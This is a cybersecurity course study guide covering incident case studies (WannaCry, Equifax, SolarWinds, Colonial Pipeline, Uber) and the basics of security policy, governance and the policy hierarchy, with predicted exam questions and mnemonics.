What happened. On Friday 12 May 2017 WannaCry affected more than 200,000 computers in at least 100 countries (National Audit Office). It encrypted files and demanded a ransom in bitcoin. It spread by scanning for computers with SMBv1 reachable and exploiting them with EternalBlue, an exploit leaked by the Shadow Brokers group in April 2017. That evening a security researcher, Marcus Hutchins, registered a domain the malware checked before encrypting; this "kill switch" stopped it locking further machines. In December 2017 the US and UK governments attributed WannaCry to North Korea's Lazarus Group.
The NHS in England, as the National Audit Office found in October 2017:
- Reach: at least 80 of the 236 hospital trusts affected (34 percent), plus 603 other NHS organizations, 595 of them GP practices.
- Patients: 6,912 appointments known to be cancelled, about 19,000 estimated; five hospitals diverted emergency patients elsewhere.
- Devices: 1,220 pieces of diagnostic equipment infected, about 1 percent of the NHS's total, besides the devices disconnected as a precaution.
- No ransom, no data loss reported: no NHS organization paid, and none reported patient data compromised or stolen.
- The same weakness everywhere: every infected organization ran unpatched or unsupported Windows, most of them Windows 7 without the patch, not Windows XP; managing the internet-facing firewalls would have kept it out, patched or not.
- Warnings unheeded: NHS Digital had issued critical alerts to patch in March and April 2017; of the 88 trusts it had assessed on site before the attack, none passed.
Through the course's framework.
| Step | What happened | What should have happened |
|---|---|---|
| Preparation | a national response plan existed but had never been tested locally; patches not applied; firewalls not managed | rehearse the plan; apply critical patches within days; block SMB (port 445) at the internet edge; segment the network; replace unsupported systems; keep an inventory that includes medical devices; keep offline backups |
| Detection and categorisation | staff noticed ransom notes on screens; working out the cause and the scale took time; at first nobody knew who should lead: NHS England declared a major incident at 4 pm and took the lead at 6:45 pm | alerts on SMB scanning; one known reporting route; a named national lead from the start |
| Containment | many trusts switched systems and email off as a precaution, which added to the disruption; staff used personal phones and WhatsApp | isolate infected segments, block port 445 inside the network, keep an out of band channel ready |
| Investigation and remediation | the kill switch, then patching, antivirus updates and restoring systems; by Sunday 14 May, 44 percent of GP practices had patched | reimage infected machines, restore from backups, patch before reconnecting |
| Reporting and lessons learnt | the NHS's own lessons: a response plan with clear roles, act on critical alerts, keep communications working when systems are down, boards to own cyber risk | the same, measured: time to patch as a tracked metric |
The lesson in one line: a two month old patch and a closed port would have stopped it, and the response suffered most from a plan nobody had rehearsed and communications that depended on the systems under attack. The policy failure behind it is read in chapter 7 (policy failures).
- On Friday 12 May 2017 the WannaCry ransomware affected more than 200,000 computers in at least 100 countries. It spread as a worm through the SMBv1 file sharing service of Windows computers that had not installed a security update Microsoft released in March 2017, so no user had to click anything. In England at least 80 of the 236 hospital trusts were disrupted, thousands of appointments were cancelled and some emergency departments diverted patients. a. Classify the incident and state its priority, with reasons. b. Describe the containment, eradication and recovery actions a hospital should have taken. c. What lessons does WannaCry teach about preparation for incidents? Predicted, ch 6 Q6 · 10
Equifax, 2017: a missed patch and a blind sensor PREDICTED
What happened, as the US Government Accountability Office reconstructed it (report GAO-18-559, 2018):
- March 2017: US-CERT warned of a flaw in the Apache Struts web framework (CVE-2017-5638) that let an attacker run commands, and a fix was available. Equifax circulated the notice, but its recipient list was out of date, so the people responsible for the online dispute portal never received it; a scan a week later missed the flaw on the portal. On 10 March unknown parties scanned Equifax, found the vulnerable portal and confirmed they could run commands.
- From 13 May 2017: attackers entered through the portal and hid in its existing encrypted connections. They found a store of unencrypted usernames and passwords and used them to reach 48 more databases beyond the portal's own 3, ran about 9,000 queries, and took the data out in small pieces over encrypted web traffic.
- Why nobody saw it: the device that inspected network traffic had an expired digital certificate, which had expired about 10 months before the breach began, so it could not inspect encrypted traffic. The attack ran in the monitoring's blind spot.
- 29 July 2017, detection: an administrator renewed the certificate; inspection restarted and at once showed system commands that were not normal. Equifax blocked the attacking IP addresses.
- Response: on 30 July the portal was taken offline; on 31 July the security chief told the CEO; on 2 August Equifax informed the FBI and brought in an outside cybersecurity firm; the investigation ran to 2 October. Logs the attackers had not erased let the team rebuild the attackers' queries, and so work out which data was taken.
- 7 September 2017, disclosure: first 143 million people, revised to 145.5 million, plus about 2.4 million with partial data found later.
Communication went wrong too. Equifax put its breach information on a new domain, equifaxsecurity2017.com, and its own Twitter account then sent customers, more than once, to a look-alike, securityequifax2017.com, which a developer had set up to show how easily the real site could be faked. Uncoordinated communication is the fourth thing a response must not get wrong (do not make things worse).
Aftermath. In July 2019 Equifax settled with the FTC, the CFPB and the US states for up to $700 million; in February 2020 the US Department of Justice charged four members of China's People's Liberation Army with the intrusion.
Equifax's own four factors, as its officials told the GAO: identification (the vulnerable portal was not identified when patches went out), detection (the expired certificate), segmentation (databases not isolated from each other) and data governance (credentials stored unencrypted); plus no limit on the rate of database queries.
| Step | Lesson |
|---|---|
| Preparation | an asset inventory with owners, so alerts reach the right people; critical patches within days; certificate expiry tracked; databases segmented; no credentials stored in clear |
| Detection | monitor the monitors: a sensor that silently stops working is worse than none; alert on query volumes far above normal |
| Containment | right once seen: block the addresses, take the portal offline |
| Reporting and lessons learnt | about six weeks passed between discovery and public disclosure, a delay that drew heavy criticism; the root causes were process failures, not missing tools (the five whys) |
Chapter 7 reads the same breach as a policy failure: no enforced patching and vulnerability management policy (policy failures).
- The Equifax breach of 2017 and the Colonial Pipeline ransomware attack of 2021 both began with a basic control that was missing. For each incident, explain how the attackers got in, how the incident was detected and handled, and what should have been done differently. Predicted, ch 6 Q8 · 10
SolarWinds, 2020: the update that was the attack PREDICTED
What happened.
- September 2019: the attackers got into SolarWinds' network and tested injecting code into its build process (GAO).
- February 2020 onward: they placed the SUNBURST backdoor into Orion's build, so the company's own updates carried it; trojanized versions went out from March 2020, and about 18,000 customers installed them.
- Quiet by design: the backdoor waited before calling home, varied its timing, made its traffic look like legitimate SolarWinds traffic, and talked to subdomains of avsvmcloud[.]com. The attackers then chose a small set of high value victims for follow-on intrusion (CISA: not every organization with the backdoor was exploited), where they used stolen credentials and forged SAML tokens to reach cloud email.
- November 2020, detection: at the security firm FireEye an alert showed that an employee's account had registered a second phone for multi-factor authentication; staff called the employee, who had not done it. Investigating that intrusion led back to the Orion update, and FireEye published its findings on 13 December 2020.
- 13 December 2020, containment at national scale: CISA's Emergency Directive 21-01 ordered US federal agencies to disconnect or power down the affected Orion products.
- Scope and attribution: by February 2021 the White House counted nine federal agencies and about 100 private companies compromised; in April 2021 the US formally named the SVR.
Why it stayed hidden for months.
- A trusted channel: the code arrived as a signed update from a real vendor, in software that is allowed everywhere with high privileges.
- Mimicry: its traffic looked like normal Orion traffic, came with delays and at low volume, and only chosen targets were pursued.
- Legitimate access: once inside, the attackers used real credentials and tokens rather than malware an antivirus could catch.
- No signatures: nothing was known about it until FireEye found it, about nine months after the first trojanized update.
Lessons for detection and response.
- Anomaly over signature: the catch was a behavioral oddity, a new MFA device, followed up by a person; identity monitoring and UEBA matter (UEBA).
- Suppliers are attack surface: build integrity, knowing what software runs where, and least privilege for monitoring tools: a monitoring server rarely needs to reach the internet, so its outbound traffic can be blocked or watched. The deck's prevention line says the same: stronger supply chain security practices, regular security audits and threat intelligence sharing.
- Containment at scale: an order to switch a product off across government, followed by hunting in every network that had it (threat hunting).
- Remediation when identity is compromised: tokens forged with a stolen signing certificate stay valid after passwords are reset, so the certificates and trust settings had to be replaced too.
- Share fast: FireEye's publication gave every defender the indicators within days.
Chapter 7 lists it as a gap in supply chain policy and audit (policy failures).
- Explain the SolarWinds supply chain attack of 2020. Why did it stay hidden for months, and what does it teach about detecting and responding to incidents? Predicted, ch 6 Q7 · 5+5
Colonial Pipeline, 2021: ransomware in IT, a shutdown in OT PREDICTED
What happened, from the CEO's testimony to Congress in June 2021 and the US Department of Justice:
- The target: more than 5,500 miles of pipeline carrying nearly half of the fuel used on the US East Coast.
- Entry: a legacy VPN profile that was no longer meant to be in use, opened with a compromised password and no multi-factor authentication.
- Detection: just before 5:00 a.m. on Friday 7 May 2021 an employee found a ransom note on a system in the IT network. DarkSide, a ransomware-as-a-service group (ransomware), had encrypted IT systems.
- Containment: the control centre put in a stop work order; the shutdown began at about 5:55 a.m., and by 6:10 a.m. all 5,500 miles were stopped, to keep the malware from reaching the operational technology (OT) network that runs the pipeline. At that moment the company knew neither where the attack had started nor how far it reached.
- Escalation: the FBI was told that morning, with a call to the FBI and CISA within hours; the company shared its IoCs, hired Mandiant for the forensics, and the Department of Energy led the federal response.
- The ransom: Colonial paid about 75 bitcoin, about $4.4 million, on 8 May; in June the Department of Justice seized 63.7 of them, then worth about $2.3 million.
- Recovery: some lines ran manually within hours; all lines began returning to service on the evening of Wednesday 12 May, after systems had been scanned for malware and IoCs, with staff patrolling the line and collecting key pipeline readings by hand while OT visibility was down.
- Impact: panic buying and fuel shortages along the East Coast; in late May the Transportation Security Administration issued its first mandatory cybersecurity directive for pipelines: report incidents to CISA, name a cybersecurity coordinator available around the clock, assess the gaps.
Read as an incident.
| Question | Answer |
|---|---|
| Categorisation | malicious code (ransomware); target the IT network, with the OT network at risk; live; impact operational and financial at national scale; priority P1 |
| Why stop OT when only IT was hit? | containment under uncertainty: with the entry point and spread unknown, a controlled stop was safer than risking the control systems; every employee had stop work authority under the company's incident response process |
| Was paying right? | the CEO called it one of the toughest decisions of his life; payment funds crime, guarantees nothing, and the FBI advises against it; getting part of it back is rare |
| Root cause | an unused remote access profile left enabled, protected by a password alone |
| What should have been done | remove unused accounts and VPN profiles; MFA on all remote access; strong IT and OT segmentation, so IT ransomware cannot threaten OT; offline backups and a tested restore, so paying is never the only way back |
Compared with WannaCry, the preparation that failed was different (an account, not a patch), but the containment dilemma is the same: switching things off limits the damage and also causes it, which is why the choice belongs in the plan before the day comes (containment).
- The Equifax breach of 2017 and the Colonial Pipeline ransomware attack of 2021 both began with a basic control that was missing. For each incident, explain how the attackers got in, how the incident was detected and handled, and what should have been done differently. Predicted, ch 6 Q8 · 10
Uber, 2022: MFA fatigue and a hacker in Slack PREDICTED
What happened, from Uber's own security updates of September 2022, with what the attacker told reporters marked as his account:
- The password: the contractor's personal device had been infected with malware, and the attacker probably bought the contractor's Uber corporate password on the dark web.
- MFA fatigue: each login attempt sent the contractor a two-factor approval request, which at first blocked access; eventually the contractor accepted one. By the attacker's own account, he also contacted the contractor posing as Uber IT support (MFA fatigue).
- Escalation: the attacker reached several other employee accounts and, through them, elevated permissions to tools including G-Suite and Slack. By his account, a PowerShell script on a network share held an administrator's password for the privileged access management system.
- 15 September 2022, detection: he posted to a company-wide Slack channel, "I announce I am a hacker and Uber has suffered a data breach", and reconfigured Uber's OpenDNS to show employees a graphic image on some internal sites. Many staff first took it for a joke.
- What was taken: some internal Slack messages, information from a finance tool used for invoices, and access to the HackerOne bug bounty dashboard, whose reports Uber said had been fixed. Uber found no evidence that production systems or sensitive user data, such as trip history, were accessed.
- Response: Uber blocked or reset compromised accounts, disabled affected internal tools, rotated keys to many internal services, locked its codebase against changes, made staff re-authenticate as tools came back, strengthened its MFA policies, added monitoring, and coordinated with the FBI and the US Department of Justice.
- Attribution: Uber believed the attacker was affiliated with LAPSUS$, the group whose insider recruitment post the deck shows (types of incident).
Through the course's framework.
| Step | What happened | What should have happened |
|---|---|---|
| Preparation | push approval was the only second factor; an admin password sat in a script on a share; a contractor's own device held a work password | number matching or phishing-resistant MFA; secrets only in the vault, never in scripts; awareness of MFA fatigue |
| Detection and categorisation | found out from the attacker's own Slack post, which staff took for a joke | alerts on bursts of rejected MFA pushes and new device logins; unauthorized access, privileged and live: P1, restricted |
| Containment | accounts blocked, tools disabled, keys rotated, Slack offline | right, plus an out of band channel from the first minute |
| Investigation and remediation | which accounts and tools, what was downloaded; codebase locked, re-authentication, MFA policy strengthened | the same, and every hard-coded secret found and rotated |
| Reporting and lessons learnt | public updates within days; the FBI and the Department of Justice informed | MFA by push alone is not enough; secrets out of scripts; staff trained to treat a hacker's message as an incident |
The lessons in one line each.
- MFA fatigue beats simple push MFA: number matching or a hardware key stops a tired user approving a stranger.
- Hard-coded secrets are skeleton keys: one script turned one stolen login into administrator access.
- A contractor's personal device is part of the attack surface: the password was stolen there, outside Uber's control.
- People must know an incident when they see one: answering a hacker with emojis is interacting with the threat (do not make things worse).
- Reporting honestly matters: Uber had hidden a 2016 breach, and its former security chief was convicted for it in October 2022, weeks after this one; this time Uber reported within days (chapter 8, ethics).
- In September 2022 an attacker who had obtained the password of an Uber contractor sent repeated multi-factor authentication requests until the contractor approved one. The attacker then reached other employee accounts and internal tools such as Slack and G-Suite, and announced the breach to employees in a company-wide Slack channel. a. Explain how the attacker got in and which weaknesses made it possible. b. Describe how Uber's team should respond, following the steps of the incident response framework. c. What controls would have prevented the breach? Predicted, ch 6 Q12 · 10
6.6Last minute recall
Chapter 6 in one screen
- Event, adverse event, incident: any observable occurrence; one with a negative consequence; an event that harms CIA or breaks policy (the course; NIST).
- Attack to incident: a valid attack is an incident when it is directed against information assets, has a realistic chance of success and threatens CIA.
- Precursor and indicator: a sign an incident may happen; a sign it has happened or is happening.
- Detection step: who or what reported it, when (GMT), how, reported before (incident register), valid or false positive.
- Eight types: out: insider theft, data leaks, breaches, trade secrets; in: phishing, third-party vendors, ransomware, malware. LAPSUS$ recruited insiders.
- Six categories: denial of service, malicious code, unauthorized use, unauthorized access, unplanned downtime, other.
- Categorisation step: target, live or not, impact (financial, operational, reputational, legal), priority 1 to 3, restricted or unrestricted.
- NIST severity: functional impact, information impact, recoverability; impact against urgency gives the priority.
- IRP: processes to anticipate, detect and mitigate; not if but when; reactive, not preventive; ruin the attacker's economic model.
- NIST SP 800-61 Rev. 2: preparation; detection and analysis; containment, eradication and recovery; post-incident activity; 17 parts of the plan; Rev. 3 (April 2025) maps to CSF 2.0.
- The course's eight steps: preparation, detection, categorisation, containment, investigation, remediation, reporting, lessons learnt (Pulis Daai Chiya Chhodera Inaarma Rakshi Rakhera Lukyo).
- Mapping: 1 is preparation; 2 and 3 detection and analysis; 4, 5 and 6 containment, eradication and recovery; 7 and 8 post-incident. SANS six: PICERL.
- Five rules: do not engage the hacker; do not connect to their network; preserve evidence; communication through management; everything confidential (Hacker Nepalma Euta Momo Churaayo).
- Preparation: plan, playbooks (phishing, ransomware, keylogger, DDoS), logistics, contacts, support documents; CSIRT models; jump kit.
- Containment: isolate, close ports, update firewall, reset admin secrets, block egress and DNS, sandbox; NIST's six criteria.
- Investigation: getting in, staying in (C2, persistence), spreading (accounts, lateral movement), taking (exfiltration); network, malware, system, user and research analysis.
- Remediation: network, malware, system, user remediation; declared full, partial or accepted. Patching is not eradication.
- Chain of custody: who, when, where, how, every transfer signed; hash, image, work on copies; RFC 3227 order of volatility.
- Triage and tiers: receive, validate, enrich, scope, categorize, act or escalate; tier 1 triage, tier 2 response, tier 3 experts.
- Escalation: functional and hierarchical; triggers severity, scope, data, people, crime, publicity, time; GDPR 72 hours, NRB immediately.
- Lessons learnt: root cause analysis, controls readiness, trends, mitigation plan, improvement plan; MTTD, MTTR, dwell time.
- Reporting: ongoing reporting, evidence, documentation, incident register, communication to every audience; report structure from summary to appendices.
- Recent attacks: SolarWinds, Exchange, LastPass, Uber, Okta, T-Mobile, Colonial; most began with a missing basic control.
- Insider case: VP of technology, access never revoked, five months reading email, over $100,000; offboarding, resets, MFA, access reviews, monitoring.
- WannaCry 2017: SMBv1 worm, MS17-010 unpatched, kill switch, NHS disrupted, untested plan.
- Equifax 2017: Apache Struts unpatched, expired certificate blinded inspection, 76 days, about 147 million people.
- SolarWinds 2020: SUNBURST in Orion updates, about 18,000 customers, found by FireEye through an MFA alert.
- Colonial Pipeline 2021: DarkSide via a legacy VPN without MFA (not phishing), whole pipeline stopped, ransom paid and partly seized.
- Uber 2022: bought password, MFA pushes accepted, admin password in a script, hacker announced himself on Slack.
- NIC Asia Bank 2017: SWIFT fraud over Tihar, about 4.4 million dollars sent, most recovered through NRB.
Chapter 7 · 4 hours · 7 of 80 marks in the syllabus · in 2 of the 4 sittings
Security policy and audit
Policy says what an organisation will do to protect its information; an audit checks that it is being done; testing checks that it actually works; reporting and remediation make sure that what was found gets fixed. This chapter follows that chain from the policy on paper to the fix in production. It carries 7 of the 80 marks in the syllabus weighting, and the 2083 internal set two of its nine questions here: the IT audit process and an insider leak.
- Policy: the security policy framework, who governs it, its five-layer hierarchy, and what makes a policy enforceable.
- Documents: NIST SP 800-14's three types of policy (EISP, ISSP, SysSP), the everyday policies (AUP, password, access, remote access) and the contingency plans (IRP, DRP, BCP).
- Audit and compliance: audit as an assurance engagement, the six-phase IT audit, internal controls, and the controls that stop an insider.
- Standards and regulations: regulation, standard and framework told apart; GDPR, HIPAA and SOC 2 compared; ISO/IEC 27001, NIST CSF, PCI DSS and the CIS Controls.
- Testing: audit, vulnerability assessment and penetration test compared, the assessment lifecycle, scanning, and the phases and box types of a penetration test.
- Reporting and remediation: the findings report, CVSS and risk-based priority, and tracking every finding to a verified close.
- Chapter 1 lays the base: policies, standards, baselines, guidelines and procedures as governance basics (policies and procedures), due care (due care and due diligence) and risk treatment (risk treatment). This chapter builds the whole framework on them.
- A penetration test rehearses the attacker of chapter 3: its phases mirror the Cyber Kill Chain and the tactics of MITRE ATT&CK.
- Monitoring an insider uses the logs and SIEM of chapter 4 (SIEM) and the behaviour analytics of chapter 5 (UEBA); chapter 6 analyses an insider incident (the insider case) and teaches the incident response steps that the IRP writes down.
- The law behind testing and privacy is chapter 8: cyber law in Nepal, ethics and responsible disclosure.
- 7.1 Why policy matters, the security policy framework, governance, the policy hierarchy, effective policy
- 7.2 EISP, ISSP and SysSP, the everyday policies, IRP, DRP and BCP
- 7.3 What an audit is, the six-phase IT audit, compliance and internal controls, stopping an insider
- 7.4 Regulation, standard, framework, GDPR, HIPAA and SOC 2, ISO/IEC 27001, NIST CSF and more
- 7.5 Three ways to assess security, the assessment lifecycle
- 7.6 Vulnerability scanning, penetration testing
- 7.7 The findings report, CVSS and priority, remediation and re-test
- 7.8 Last minute recall, chapter 7
- Asked in a sitting: the IT audit process and why follow-up matters (2083 internal Q8), and the policy, audit and monitoring controls against an insider (2083 internal Q9), 5 marks each.
- Set by the course and the class notes: NIST SP 800-14's three types of policy with examples, the purpose of a policy and the hierarchy, the two parts of a SysSP with the firewall example, the audit as an assurance engagement with its six phases, and a breach traced to a policy failure.
- Predicted here: governance and enforceable policy, the AUP and the BCP, internal controls, GDPR against HIPAA against SOC 2, the frameworks, scanning against penetration testing, the findings report with CVSS, and remediation.
7.1Security policy framework
When policy fails, the breach follows PREDICTED
Four landmark cases the deck opens with, each traced back to missing or unenforced policy: the control a policy should have mandated and an audit should have caught.
| Incident | What happened | The policy gap |
|---|---|---|
| Equifax, 2017 | Attackers exploited a known Apache Struts flaw (CVE-2017-5638) in an online dispute portal two months after the fix was published, and took data on about 147 million people over about 76 days | Patch and vulnerability management: the alert went to an out-of-date list, a scan missed the server, nobody verified; monitoring was blind |
| WannaCry, 2017 | A ransomware worm spread on 12 May 2017 through a Windows SMBv1 flaw to over 150 countries; in England at least 81 of 236 NHS trusts were hit and about 19,000 appointments cancelled | Patch cadence and an incident response plan: Microsoft's fix (MS17-010) had been out since 14 March 2017; old systems left unpatched; no rehearsed incident response plan |
| Marriott (Starwood), found 2018 | Attackers who planted a web shell in Starwood's network in 2014 were still inside after Marriott bought Starwood in 2016; 339 million guest records were exposed | Third-party and acquisition due diligence, monitoring of privileged access; the UK regulator fined Marriott £18.4 million in 2020 |
| SolarWinds, 2020 | A backdoor was slipped into updates of the Orion monitoring software and installed by about 18,000 customers; it was found in December 2020 | Supply chain policy and audit: vendor risk assessment, integrity of the build, least privilege for monitoring tools |
Reading any breach as a policy failure. Ask four questions in order, and the gap shows itself:
- Which control would have stopped it? A patch, an alert, a network segment, a check on a supplier.
- Did a policy require that control? If not, the gap is in the policy itself.
- Was it enforced? A rule nobody follows is a document, not a control.
- Was it verified? A scan, an audit or a test that would have caught the lapse.
To remember the four questions: think of a hostel's main gate. It has a lock (the control), the warden's rule says lock it at 10 pm (required), nobody actually locks it (not enforced), and nobody checks in the morning (not verified). Equifax had its lock: the patch existed, but nobody turned the key and nobody checked.
Equifax, taken through the four questions. The US Government Accountability Office (report GAO-18-559, 2018) lists four factors Equifax itself identified:
- Identification: the March 2017 US-CERT alert was circulated on an out-of-date mailing list, so the people responsible for the dispute portal never received it, and a scan a week later failed to find the vulnerable server. The fix a policy owes: a current asset inventory with named owners, severity-based patch deadlines and a verification scan.
- Detection: the device that inspected encrypted traffic had an expired digital certificate, out of date for about ten months, so the data left unseen. The fix: certificate and monitoring-tool health written into the operations standard.
- Segmentation: databases were not isolated, so the attackers moved from the portal into others. The fix: a network standard that requires segmentation.
- Data governance: unencrypted credentials stored in one database opened further databases, and about 9,000 queries ran with no limit. The fix: data handling and access standards.
No new technology was missing. The patch, the scanner and the monitoring tool all existed. What was missing was a mandatory, owned, verified process, which is exactly what due care and due diligence demand.
Not paperwork for its own sake. The deck's closing point on these cases: security fundamentals such as a patching rule and an audit that checks it are the difference between a headline breach and a near miss, where the same flaw is found and fixed before anyone uses it.
Three costs of having no effective policy, as the class notes sort them:
- Legal and financial risk: an employee misbehaves, no policy forbids it, and the lawsuit and financial judgment that follow can bankrupt a company (the next card).
- Major breaches: the four cases above, and Sony Pictures in the note below.
- Insider threats: a malicious insider exploits his position to reach and steal confidential data, as in the notes' case of an employee who was secretly the chief executive of a competitor (stopping an insider).
- The chapter references several major breaches like Equifax and WannaCry. Choose one of these case studies and explain how a specific failure in security policy (e.g., patch management or vulnerability assessment policy) directly contributed to the incident. Notes prediction, ch 7 Q5
What a security policy framework is, and why policy comes first PREDICTED
The information security policy sits at the top of the framework: written instructions from management telling everyone the proper, secure use of information and information assets. The deck puts it plainly: a quality information security programme begins and ends with policy. It begins there because every control needs a mandate, and it ends there because every audit measures practice against it. That makes policy the essential foundation of an effective programme, and the reference document for audits and for legal disputes.
What a policy is for. Its purposes, in the order they are usually argued:
- States management's intent: what must be protected and how people must behave; the will of management in controlling behaviour, written down.
- Gives structure: one reference that every standard, procedure and technical control traces back to, so the programme is a system and not a pile of tools.
- Creates a productive work environment: clear rules, free of unnecessary distraction and misuse, so staff know what is allowed.
- Assigns responsibility: who owns each asset, who approves access, who answers when something goes wrong.
- Protects the organisation legally: proof of due care, and the basis for disciplining misuse. The deck's opening scenario: an employee misbehaves, no policy forbids it, the company dismisses him, and the disgruntled employee sues and wins.
- Ensures consistency and compliance: the same rule in every branch, mapped to the laws and standards that bind the organisation (GDPR, PCI DSS, NRB directives).
- Limits exposure and speeds response: fewer ways in for an attacker, and an agreed way to report and handle an incident.
- Gives the audit its yardstick: auditors test practice against policy; with no policy there is nothing to audit against.
The least expensive control, and the hardest to implement. The deck's paradox, in two halves:
- Cheap: a policy costs only the time management spends to write, approve and communicate it, and the time staff spend fitting it into their daily work. Even with an outside consultant this is a fraction of what a technical control costs.
- Hard: it depends on people changing behaviour. It fails without senior management's commitment, when it is impractical, or when it does not fit the organisation's objectives.
Cheap to write, expensive to embed: that gap is why the rest of the chapter is about enforcement, awareness and audit. A policy nobody follows costs little and protects nothing.
To remember the paradox: a college's rule that only the exam section may change marks costs one meeting and a notice on the board. Getting forty teachers to stop sharing the exam portal's password costs far more, because that takes a principal who means it.
Three ways to look at the framework, each taught on its own card:
| View | What it sorts | Card |
|---|---|---|
| The hierarchy | documents by how binding and how detailed they are: policy, standard, baseline, guideline, procedure | 7.1 |
| NIST SP 800-14's three types | policies by scope: enterprise, issue-specific, system-specific | 7.2 |
| The everyday documents | the named policies and plans staff meet: AUP, password, remote access, IRP, DRP, BCP | 7.2 |
In Nepal, Nepal Rastra Bank's Information Technology Guidelines (August 2012) require every commercial bank to have a board-approved IT policy, reviewed at least annually, and a board-approved information security policy communicated to employees, contractors and consultants. Chapter 1 introduces the same layers as governance basics (policies and procedures); this chapter builds the framework in full.
- a. What is the purpose of an information security policy? b. Differentiate between Policies, Standards, Baselines, Guidelines, and Procedures. Explain which are mandatory and provide a clear example of each. Notes prediction, ch 7 Q1
Governance: who approves, who monitors, who answers PREDICTED
Every organisation has governance: a body that approves, monitors and holds security to account. The deck's model is the classic check and balance: a programme is made of people, process and technology, and governance sits over all three. The class notes call it the high-level framework of monitoring and approval that keeps the organisation on track: the governance committee approves projects, so every action is sanctioned.
| Element | The question it answers | Example |
|---|---|---|
| People | Who is responsible? | CISO, data owners, administrators, every user |
| Process | How are things done? | patching, access review, incident handling |
| Technology | What tools are used? | firewall, SIEM, EDR, encryption |
| Governance | Is it approved, and is it working? | a steering committee that approves the policy, reviews security metrics every quarter and signs off any accepted risk |
What governance gives the organisation (deck):
- Structure: standards such as ISO, NIST and ITIL give a common model, so the committee can understand the flow of everything going on.
- A measure to monitor against: a fixed yardstick that answers the deck's question, "are my security professionals doing what they need to, the way they need to?"
- Approval: every piece of work runs as an approved project or purchase, never as an ad hoc decision.
- Compliance monitoring: a key, ongoing duty of the governance committee, which also keeps the organisation within laws, statutes and regulations. The standards give the yardstick; compliance monitoring is how governance keeps score against it.
Roles. Governance works only when each role is written down:
| Role | Responsibility |
|---|---|
| Board and senior management | approve the enterprise policy, set the risk appetite, fund the programme; accountable in the end |
| Governance (steering) committee | approves projects and policies, monitors compliance, settles conflicts between departments |
| CISO | runs the programme, maintains the policies, reports to the committee |
| Data owner | a business manager who classifies the data and decides who may use it |
| Custodian | IT staff who carry out the owner's decisions: access rights, backups, patches |
| Users | follow policy and report incidents |
| Internal audit | independent assurance to the board's audit committee |
To remember the roles, picture a college's exam marks. The principal and the management committee approve the rules on who may change marks (governance); the head of the exam section owns the marks and decides who may see or edit them (data owner); the IT section runs the server, the accounts and the backups (custodian); teachers and students follow the rules (users); and an internal audit team checks that all of it actually happens.
The three lines model of the Institute of Internal Auditors (2020) places each role: the first line is operational management, which owns and runs the controls; the second line is the risk and compliance functions, which monitor them; the third line is internal audit, which gives independent assurance. That is why the audit of 7.3 is part of governance and not a separate activity.
Governance is not management. COBIT 2019 calls the governance cycle evaluate, direct and monitor: the board evaluates options, directs through policy and monitors results, while management plans, builds and runs. A CISO who writes and approves his own policy and then audits it is doing all three lines at once, which is the failure governance exists to prevent.
In Nepal, NRB's IT Guidelines place the IT policy and the information security policy under board approval, and make the board or its audit committee responsible for resourcing the annual IS audit.
- Explain the role of governance in a security programme with reference to people, process and technology. What makes a security policy effective and legally enforceable? Predicted, ch 7 Q1 · 4+6
The policy hierarchy: policy, standard, baseline, guideline, procedure PREDICTED
Read it top down. The policy says what and why; standards and baselines say what exactly must be used and the minimum every system meets; procedures say how, step by step; guidelines advise. Documents grow more numerous, more technical and more often changed as the layers go down: broader and more general at the top, more specific and technical at the base.
Strategic over tactical. The class notes label the layers by level: the policy is strategic, sanctioned by senior management; the standards, guidelines and procedures beneath it are tactical documents that give the policy its support and turn it into practice.
- Policy: a plan or course of action that guides decisions; high level, sanctioned by senior management, mandatory. It names no product or equipment, so it survives a change of vendor, and it states the penalty for breaking it and how to appeal.
- Standard: compulsory requirements for hardware, software, technology and controls; the detailed statement of what must be done to comply with the policy. It can be internal (the organisation buys one make of laptop; everyone uses one email signature) or adopted from outside (PCI DSS, ISO/IEC 27001).
- Baseline: the minimum level of security that every system must meet. A system below the baseline is taken out of production until it is brought up to it. Baselines are often drawn from the Common Criteria, ITSEC, NIST or a CIS Benchmark.
- Guideline: recommended actions and best practice, used where no standard exists or to explain how to apply one. It names the security mechanism to use rather than a product, and it is not compulsory.
- Procedure: step-by-step instructions that describe the exact actions needed to implement a control; mandatory, and the layer an auditor tests by asking someone to perform it.
Answers: the five layers of the policy hierarchy, top to bottom, and the one layer that is not mandatory.
How it decodes: Five words, five layers, initials in order. It reads as the police constable ran away, and a cow chased him. On a Nepali road the cow is the one thing no rule can bind, and the guideline is the one layer nobody is bound to follow.
- PPolice Policy, management's intent, high level. POLICe is nearly the word itself, and it stands first
- SSipahi Standard, compulsory rules for hardware, software and controls
- BBhaagyo Baseline, the minimum every system must meet
- GGaai Guideline, recommended advice. The cow obeys no rule, and no one has to obey a guideline
- PPachhyaayo Procedure, the exact steps that implement a control
One topic through all five layers: protecting the data on company laptops.
| Layer | Binding? | Example |
|---|---|---|
| Policy | Mandatory | Confidential data must be protected against loss or theft on every device. |
| Standard | Mandatory | Every laptop uses AES-256 full-disk encryption, and the screen locks after five idle minutes. |
| Baseline | Mandatory | Every laptop image meets the CIS Level 1 benchmark: encryption on, host firewall on, unused services off. |
| Guideline | Recommended | Use a passphrase of several random words for the disk PIN; keep the laptop in hand luggage when travelling. |
| Procedure | Mandatory | Steps 1 to 6 for enabling BitLocker on a new laptop and saving its recovery key to the key escrow server. |
The chapter 1 deck's example (page 93, which the class notes repeat in brief) shows the layers working together: an inappropriate-use policy is supported by a standard that says all inappropriate content will be blocked and lists what counts as inappropriate; later, technical controls and their procedures block access to such websites.
- a. What is the purpose of an information security policy? b. Differentiate between Policies, Standards, Baselines, Guidelines, and Procedures. Explain which are mandatory and provide a clear example of each. Notes prediction, ch 7 Q1
What makes a policy effective, and enforceable in court PREDICTED
Five basic rules for shaping a policy (deck, class notes and chapter 1). For a policy to be enforceable, and to stand up in court, it must:
- Never conflict with law: a rule that breaks the law cannot be enforced, and it exposes the organisation. Monitoring staff email, for example, must respect privacy law.
- Stand up in court if challenged, which the six criteria below make possible.
- Be properly supported and administered: management backs it, funds it and applies it.
- Contribute to the success of the organisation: security that blocks the business gets bypassed.
- Involve the end users of the information systems when it is written, so it is practical.
Six criteria for enforceability. A policy is enforceable only if it is:
| Criterion | Evidence that proves it |
|---|---|
| Developed using industry-accepted practices | drafted against a recognised model (ISO/IEC 27002, NIST), reviewed by legal and HR |
| Distributed by all appropriate methods | a record of how and when each person received it: intranet, email, a printed copy for staff without email |
| Read by all employees | an acknowledgement, a login banner, an e-learning module that must be opened |
| Understood by all employees | a short quiz or training record; a Nepali version where staff read Nepali better than English |
| Formally agreed to by act or affirmation | a signature at joining, or a click-through renewed every year |
